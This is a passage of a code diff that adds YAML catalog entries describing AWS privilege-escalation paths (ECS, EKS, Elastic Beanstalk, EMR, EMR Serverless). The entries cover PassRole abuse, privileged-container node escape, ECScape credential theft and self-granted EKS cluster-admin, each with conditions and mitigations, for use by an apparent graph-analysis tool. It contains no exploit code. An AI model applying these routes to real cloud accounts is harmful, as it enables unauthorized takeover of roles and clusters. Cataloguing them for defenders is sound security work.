with a passable ECS task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: cluster_and_network + description: A cluster with Fargate or EC2 capacity and (for awsvpc) a subnet is required; ecs:RunTask Resource is the task-definition ARN with an ecs:cluster condition. + preconditions: + - ecs_new_task_definition_runtask_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: A conditional EC2 route needs a new task-definition family and revision covered by scoped RegisterTaskDefinition and RunTask grants, an active same-Region cluster with an active connected container instance, and PassRole for the target task role. Fargate and network-dependent launches remain unresolved until their launch facts are collected; image pull and placement are conditional. + +- id: aws-ecs-passrole-runtask-overrides + provider: aws + service: ecs + title: Run an existing task definition with overridden task role and command + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsruntask + source_revision: 171e422299 + summary: The source can run an existing ECS task definition with command and task-role overrides when that task can execute. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RunTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: existing_task_definition + description: At least one existing task definition covered by ecs:RunTask must exist. + - id: execution_role_passrole + description: On Fargate the PassRole check also covers the task definition's executionRoleArn, so iam:PassRole must cover that execution role too (the same passable role can be used for both when it can pull the image). + preconditions: + - ecs_existing_task_override_runnable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and ecs:RunTask to specific task definitions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_TaskOverride.html + notes: The "Runtime command overrides" section of the same page is the same edge. The evaluator binds RunTask to an active, described EC2-compatible task definition and active cluster with registered capacity, and checks a separate execution role if present; image pull and command execution remain conditional. + +- id: aws-ecs-passrole-registertaskdefinition-starttask + provider: aws + service: ecs + title: Register a task definition with a passed task role and start it on a container instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsstarttask + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by starting a container it controls with that role on an existing container instance. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: container_instance_exists + description: An active connected EC2 container instance must exist in the same-Region cluster and be covered by ecs:StartTask conditions. + preconditions: + - ecs_new_task_definition_starttask_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_StartTask.html + notes: Registration and StartTask must cover every revision of one new task-definition family. The evaluator checks the ecs:cluster and ecs:container-instances conditions for the same active connected host and PassRole for the target task role. Image pull and placement remain conditional. + +- id: aws-ecs-passrole-registertaskdefinition-service + provider: aws + service: ecs + title: Register a task definition with a passed task role and deploy it as a service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsupdateserviceecscreateservice + source_revision: 171e422299 + summary: The source can start an ECS service using a task definition and container image it controls with a passable task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: update_needs_existing_service + description: UpdateService needs an active existing service in the same cluster; CreateService needs an unused service name. + preconditions: + - ecs_new_task_definition_service_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and service deployment actions. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateService.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_UpdateService.html + notes: Registration must cover every revision of one new task-definition family. CreateService is checked on a new service ARN; UpdateService is checked on an existing active EC2 service without network, load balancer, or discovery settings in an active same-Region cluster with a connected container instance. Both requests bind ecs:cluster and ecs:task-definition to the same resources; other service configurations, image pull, and placement remain conditional or unresolved. + +- id: aws-ecs-registertaskdefinition-node-escape + provider: aws + service: ecs + title: Run a privileged container without a task role on EC2 capacity to reach node and co-located task roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-and-a-task-launching-action + source_revision: 171e422299 + summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. + # The native precondition checks registration on the generated task-definition family. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + any_principal_in_scope: true + scope: same_account + aggregate_as: "ECS container-instance roles and co-located task roles in clusters covered by the launch action in {account}" + conditions: + - id: ec2_capacity + description: Only EC2-launch-type capacity is affected; Fargate does not allow privileged containers or host access. + - id: co_located_tasks + description: Other task roles are only reachable for tasks placed on the same instance. + preconditions: + - ecs_privileged_task_exact_host_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Use Fargate for sensitive workloads, block privileged/host-network containers, and restrict task-definition registration. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters_ec2.html + notes: A concrete conditional edge requires a privileged task definition and StartTask on the exact active connected Linux EC2 container instance carrying the node role or a running target-role task. RunTask and simple CreateService or UpdateService also qualify when that is the cluster's only registered connected instance. Multi-host placement, image pull, and credential access remain unresolved or conditional. + +- id: aws-ecs-taskset-primary + provider: aws + service: ecs + title: Create a primary task set with a controlled container on an EXTERNAL-controller service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-ecscreatetaskset-ecsupdateserviceprimarytaskset-ecsdescribetasksets + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by deploying a task set it controls to a service with the EXTERNAL deployment controller. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: external_controller_service + description: A service using the EXTERNAL deployment controller must exist in a covered cluster. + preconditions: + - ecs_external_service_taskset_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on ECS task roles and task-set actions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateTaskSet.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: A conditional route requires an active EXTERNAL service with a simple EC2 configuration and a connected container instance. RegisterTaskDefinition must cover every revision of one new family; CreateTaskSet must cover any ECS-generated task-set ID on that service, and UpdateServicePrimaryTaskSet must cover that same service. Image pull and placement remain conditional. + +- id: aws-ecs-ecscape-agent-impersonation + provider: aws + service: ecs + title: Impersonate the ECS agent to obtain credentials of co-located tasks (ECScape) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#impersonate-the-ecs-agent-to-obtain-co-located-task-credentials + source_revision: 171e422299 + summary: A source holding the ECS container-instance role can obtain the task and task-execution roles of other tasks running on the same EC2 container instance. + requires: + all_of: + - action: ecs:DiscoverPollEndpoint + resource: "*" + - action: ecs:Poll + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + ecs_task_colocated_with_source_container_instance: "{source.arn}" + scope: same_account + aggregate_as: "ECS task and execution roles co-located with the source's container instances in {account}" + conditions: + - id: colocated_task + description: The target task must run on the same EC2 container instance whose instance-role credentials the source holds (typically obtained by a task reaching IMDS). + - id: execution_roles_exposed + description: Task execution roles of co-located tasks are delivered by the same channel and are also reachable. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Run sensitive tasks on Fargate or on dedicated hosts separated by privilege, block task access to IMDS (ECS_AWSVPC_BLOCK_IMDS or hop limit 1), and keep the container-instance role minimal. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/security-iam-roles.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: Sources are restricted to EC2 container-instance roles (instance profile, trusting ec2.amazonaws.com). Targets are task or execution roles of EC2/EXTERNAL tasks in the same account, including task-level role overrides. Co-location is proven only with ECS container-instance and task placement inventory (ec2InstanceId of the source's instances, containerInstanceArn of the target's tasks); without it the target is unresolved, never a definite edge. diff --git a/src/privilege-escalation-paths-research/aws/eks.yaml b/src/privilege-escalation-paths-research/aws/eks.yaml new file mode 100644 index 0000000000..fb82be050f --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/eks.yaml @@ -0,0 +1,154 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EKS privilege escalation techniques (AWS-API side: access entries, Pod Identity, node groups). +# Source: hacktricks-cloud aws-eks-privesc/README.md (rev 171e422299). +# k8s_cluster_admin targets are the collected EKS clusters of the source's own account (eks_cluster: describe_cluster +# arn + accessConfig.authenticationMode), labelled "EKS cluster (cluster-admin)". The access-entry APIs need +# authenticationMode API or API_AND_CONFIG_MAP (eks_authentication_mode); a cluster whose mode was not collected is an +# unresolved placeholder. With a K8s snapshot of the cluster passed as related_snapshots the entity links to the +# cluster's K8s cluster-admin node. Pod Identity / node-group entries need an existing cluster (eks_cluster_exists). + +- id: aws-eks-createaccessentry-associateaccesspolicy + provider: aws + service: eks + title: Create an EKS access entry for the source and associate a cluster-admin access policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-eksassociateaccesspolicy--iam-only-path-to-cluster-admin + source_revision: 6fb9ac51fd + summary: The source can become Kubernetes cluster-admin of an EKS cluster using only EKS API permissions, by mapping + a principal it controls into the cluster and associating AmazonEKSClusterAdminPolicy with cluster scope. + requires: + all_of: + - action: eks:CreateAccessEntry + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters whose access entries the source can create + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: authentication_mode_api + description: The cluster authenticationMode must be API or API_AND_CONFIG_MAP (checked by eks_authentication_mode); + with CONFIG_MAP only, the access-entry APIs are unavailable (switching mode needs eks:UpdateClusterConfig + and is one-way). + - id: source_controls_mapped_principal + description: The access entry must name an IAM principal the source can authenticate as (normally itself). + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC + access). + - id: associate_policy_resource_scope + description: eks:AssociateAccessPolicy is authorized on the access-entry ARN; eks:policyArn / eks:accessScope + condition keys can restrict which access policy and scope may be associated. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Treat eks:CreateAccessEntry and eks:AssociateAccessPolicy as cluster-admin grants; restrict them to + platform administrators and use the eks:policyArn / eks:accessScope condition keys to forbid AmazonEKSClusterAdminPolicy. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AssociateAccessPolicy.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html + notes: The cluster creator's bootstrap admin entry is not required; access entries work on clusters created before + the feature once the authentication mode allows it. An existing-entry AssociateAccessPolicy path is covered + separately by aws-eks-associateaccesspolicy-existing-entry. A CONFIG_MAP cluster can enable access entries through + aws-eks-updateclusterconfig-enable-access-entries. + + +- id: aws-eks-updateclusterconfig-enable-access-entries + provider: aws + service: eks + title: Switch a CONFIG_MAP EKS cluster to access-entry authentication and grant the source cluster-admin + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can become Kubernetes cluster-admin of an EKS cluster that only uses the aws-auth ConfigMap by enabling access-entry authentication and then creating an access entry with AmazonEKSClusterAdminPolicy for itself. + requires: + all_of: + - action: eks:UpdateClusterConfig + resource: "{target.scope}" + request_context: + eks:authenticationMode: API_AND_CONFIG_MAP + - action: eks:CreateAccessEntry + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - CONFIG_MAP + scope: cluster + aggregate_as: "Cluster-admin of CONFIG_MAP EKS clusters whose authentication mode the source can change" + outcome: permission_grant + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: eligible_cluster_platform + description: The cluster must be ACTIVE and its Kubernetes and EKS platform versions must support access entries. + - id: mode_change_propagates + description: The authentication mode change to API_AND_CONFIG_MAP is one-way and must complete before access entries can be created. + - id: associate_policy_condition_keys + description: eks:policyArn and eks:accessScope condition keys can restrict which access policy and scope may be associated. + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC access). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict eks:UpdateClusterConfig to platform administrators, migrate clusters to API authentication deliberately and alert on authenticationMode changes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_UpdateClusterConfig.html + notes: The existing exclusion of eks:UpdateClusterConfig on the privesc page covers only endpoint exposure; this entry models the authentication-mode change that unlocks the access-entry APIs. + +- id: aws-eks-associateaccesspolicy-existing-entry + provider: aws + service: eks + title: Give the source's existing EKS access entry cluster administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can associate AmazonEKSClusterAdminPolicy at cluster scope with its own existing STANDARD access entry. + requires: + all_of: + - action: eks:AssociateAccessPolicy + resource: "*" + request_context: + eks:policyArn: arn:{source.partition}:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy + eks:accessScope: cluster + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters with a controlled access entry + outcome: permission_grant + preconditions: + - eks_existing_self_access_entry_can_receive_cluster_admin + conditions: + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint to use the granted cluster privileges. + - id: access_entry_identity_current + description: An entry for a deleted and recreated IAM principal has a stale internal identity even when its ARN still matches. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AssociateAccessPolicy on access entries and use eks:policyArn and eks:accessScope conditions to limit administrator grants. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_eks.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AccessEntry.html + notes: The evaluator joins a recorded STANDARD entry to the source's exact IAM principal, uses its accessEntryArn for authorization, and ignores an entry that already has cluster-wide AmazonEKSClusterAdminPolicy. diff --git a/src/privilege-escalation-paths-research/aws/elasticbeanstalk.yaml b/src/privilege-escalation-paths-research/aws/elasticbeanstalk.yaml new file mode 100644 index 0000000000..8206dceb3e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/elasticbeanstalk.yaml @@ -0,0 +1,43 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Elastic Beanstalk privilege escalation techniques. +# Source: hacktricks-cloud aws-elastic-beanstalk-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). +# Environment role execution requires a bound application version, environment, +# instance profile and actual code execution; IAM grants alone cannot prove it. + +- id: aws-elasticbeanstalk-passrole-create-environment + provider: aws + service: elasticbeanstalk + source_kind: [aws_user, aws_role] + title: Create a Beanstalk application and environment with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplication-elasticbeanstalkcreateenvironment-elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-iampassrole-and-more + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable EC2-trusting role with an instance profile, used as the instance profile of a new Beanstalk environment or of an existing one it updates. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: EC2 instance-profile roles passable in {account} + outcome: workload_execution + preconditions: + - elasticbeanstalk_environment_role_effect_reviewed + conditions: + - id: exact_environment_role_effect + description: Fresh reviewed evidence must bind the exact application version, environment, instance profile, launched instance and useful role action performed by controlled code. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and grant Beanstalk environment-creation rights only to deployment principals. + references: + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess-AWSElasticBeanstalk.html + notes: CreateEnvironment and UpdateEnvironment authorize the exact environment; CreateApplicationVersion authorizes the application and version. A source-controlled S3 bundle must deploy to the same environment, and a launched instance must execute it with the passed role. The service role and any required underlying resource permissions must actually support the operation; an accepted deployment witness establishes this. The PassRole service and associated resource context must be recorded and evaluated. diff --git a/src/privilege-escalation-paths-research/aws/emr.yaml b/src/privilege-escalation-paths-research/aws/emr.yaml new file mode 100644 index 0000000000..1dcef917f4 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/emr.yaml @@ -0,0 +1,146 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-privesc/README.md (rev a53b46392c; GetClusterSessionCredentials at 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-emr-addjobflowsteps + provider: aws + service: emr + title: Run a step on an existing EMR cluster with its instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: 171e422299 + summary: A principal allowed to add a command step to an active cluster may use the role of that cluster's EC2 instance profile. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Instance roles of active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_step_instance_role + conditions: + - id: command_step_runs + description: The submitted command step must run on the cluster and be able to use its instance profile credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AddJobFlowSteps to approved cluster operators and keep EMR instance roles least privileged. + references: + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + - https://docs.aws.amazon.com/emr/latest/ReleaseGuide/emr-commandrunner.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: The evaluator joins a RUNNING or WAITING cluster to its recorded EC2 instance profile, the exact attached IAM role, and AddJobFlowSteps on that cluster ARN. It excludes clusters with runtime-role isolation enabled and leaves uncollected security configurations unresolved. It does not require PassRole for the existing profile. + +- id: aws-emr-passrole-runjobflow + provider: aws + service: emr + source_kind: [aws_user, aws_role] + title: Launch an EMR cluster with a passed EC2 instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#iampassrole-elasticmapreducerunjobflow + source_revision: 171e422299 + summary: The source can launch an EMR cluster with a passable EC2 instance profile and run bootstrap code on its instances. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "EC2 instance-profile roles passable in {account}" + outcome: workload_execution + preconditions: + - emr_new_cluster_instance_role_effect_reviewed + conditions: + - id: emr_service_role_passable + description: RunJobFlow also requires passing an EMR service role (or the default EMR_DefaultRole must exist and be passable); PassRole must cover it too. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: runnable_step + description: The caller must provide an executable bootstrap action or step, and the selected instance profile must be attached to instances that launch successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 instance-profile and EMR service roles with iam:PassedToService, and restrict elasticmapreduce:RunJobFlow. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: RunJobFlow has no resource type, while the selected EC2 instance-profile role and distinct EMR service role both need PassRole. A role edge requires fresh reviewed evidence of an accepted cluster launch, exact service and instance role IDs, an instance belonging to that cluster with the profile applied, controlled bootstrap or step execution and a useful action under the instance role. A requested Auto Scaling role and Spot service-linked role must also be ready when used. Missing launch or execution evidence remains unresolved. + +- id: aws-emr-addjobflowsteps-runtime-role + provider: aws + service: emr + title: Submit an EMR step under an authorized runtime role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: e0ecce7ba7 + summary: A caller may run a command step under a selected runtime role on an existing EMR cluster with runtime roles enabled. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: Runtime roles authorized on active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_runtime_step_role + conditions: + - id: executable_step + description: The submitted step must be accepted and run under the selected runtime role; an AddJobFlowSteps grant alone does not prove that execution occurred. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope AddJobFlowSteps to approved clusters and require elasticmapreduce:ExecutionRoleArn to name only the runtime roles each operator needs. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + notes: The evaluator binds a RUNNING or WAITING cluster, its runtime-role security configuration and instance profile, the host role's AssumeRole and TagSession grants, target trust, and the caller's AddJobFlowSteps grant with the selected ExecutionRoleArn. This path does not require caller iam:PassRole. + +- id: aws-emr-getclustersessioncredentials-runtime-role + provider: aws + service: emr + source_kind: [aws_user, aws_role] + title: Vend endpoint credentials for an EMR runtime role without iam:PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--connect-to-a-runtime-role-cluster-endpoint + source_revision: 171e422299 + summary: A caller may submit work under an EMR runtime role if it can obtain endpoint credentials for that role, reach a compatible endpoint and run a permitted workload. + requires: + all_of: [] + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: "EMR runtime roles of clusters with a security configuration in {account}" + conditions: + - id: credentials_are_endpoint_credentials + description: The API returns HTTP basic credentials for the cluster's endpoints (Livy / Spark through EMR Studio-style integrations) acting as the runtime role, not STS keys; the source uses the role through workloads it submits to the cluster. + - id: execution_role_condition_key + description: elasticmapreduce:ExecutionRoleArn conditions on the grant can restrict which runtime roles credentials can be retrieved for. + - id: cluster_running_with_runtime_roles + description: The cluster must be running with a security configuration that enables runtime roles (and Lake Formation / FGAC where applicable). + - id: endpoint_and_workload + description: The returned credentials authenticate only to supported HTTP endpoints; the source needs endpoint reachability and a permitted workload to obtain any role-authorized AWS effect. + preconditions: + - emr_cluster_session_runtime_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain elasticmapreduce:GetClusterSessionCredentials with elasticmapreduce:ExecutionRoleArn to the caller's own runtime roles and keep runtime roles least-privileged. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_GetClusterSessionCredentials.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + notes: The evaluator joins target role trust to the EC2 instance profile on a WAITING or RUNNING cluster whose named security configuration enables runtime roles. It checks GetClusterSessionCredentials on that exact cluster and requested ExecutionRoleArn. A role edge also requires fresh reviewed evidence that HTTP credentials connected to a supported endpoint, controlled work ran under the runtime role, and a useful role action succeeded. An exact sts:ExternalId trust value is compared with a SHA-256 digest from the configuration; missing evidence stays unresolved. diff --git a/src/privilege-escalation-paths-research/aws/emrserverless.yaml b/src/privilege-escalation-paths-research/aws/emrserverless.yaml new file mode 100644 index 0000000000..1f9e2a3ba7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/emrserverless.yaml @@ -0,0 +1,149 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR Serverless privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-serverless-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). EMR Serverless execution roles are chosen +# per job run or session (executionRoleArn) and trust emr-serverless.amazonaws.com; applications themselves carry no role. +# EMR on EKS (emr-containers) execution roles trust the EKS cluster OIDC provider with an emr-containers-sa-* service-account +# subject; they are selected with trust_allows_emr_containers_oidc. + +- id: aws-emr-serverless-passrole-startjobrun + provider: aws + service: emr-serverless + source_kind: [aws_user, aws_role] + title: Start an EMR Serverless job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can run job code it controls using a passable EMR Serverless role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: emr-serverless.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting emr-serverless.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: existing_application + description: A runnable EMR Serverless application must exist in StartJobRun scope. + - id: entrypoint_readable + description: The passed role must be able to read the job entry point the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + preconditions: + - emr_serverless_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR Serverless roles with iam:PassedToService=emr-serverless.amazonaws.com and restrict StartJobRun to orchestrators. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-runtime-role.html + notes: The evaluator joins an inventoried runnable application with exact StartJobRun and PassRole grants. A role edge requires a fresh reviewed accepted job run whose source-controlled entry point was read and executed under the exact role and performed a useful action unavailable directly to the caller. The recorded PassRole service and associated-resource context are evaluated. Without that execution evidence, the route remains unresolved. + +- id: aws-emr-containers-passrole-startjobrun + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Start an EMR on EKS job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can obtain the privileges of an EMR on EKS execution role (trusting the EKS cluster OIDC provider for emr-containers-sa-* service accounts) by running its own job code on a virtual cluster under that role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + scope: same_account + aggregate_as: "EMR on EKS execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: virtual_cluster_exists + description: A virtual cluster must exist in StartJobRun scope, mapped to a namespace whose job service accounts the execution role trusts. + - id: execution_role_condition_key + description: emr-containers:ExecutionRoleArn and iam:PassedToService conditions may restrict which roles can be used. + preconditions: + - emr_containers_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR on EKS execution roles, constrain emr-containers:ExecutionRoleArn, and scope trust subjects to specific namespaces. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - 